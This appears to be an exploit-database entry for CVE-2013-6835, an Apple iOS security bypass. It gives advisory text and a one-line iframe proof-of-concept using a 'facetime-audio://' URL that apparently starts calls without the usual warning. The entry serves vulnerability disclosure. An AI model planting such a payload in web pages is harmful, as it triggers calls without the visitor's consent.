Apple iOS 4.2.1 - 'facetime-audio://' Security Bypass

Author: Guillaume Ross
type: remote
platform: ios
port: 0
date_added: 2014-03-10
date_updated: 2015-12-28
verified: 1
codes: CVE-2013-6835;OSVDB-104272
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/66108/info

Apple iOS is affected by a security-bypass vulnerability.

Successfully exploiting this issue may allow an attacker to bypass certain security warnings. This may aid in further attacks.

These issues affect Apple iOS versions prior to 7.1.

<iframe src="facetime-audio://user () host com"></iframe>
↑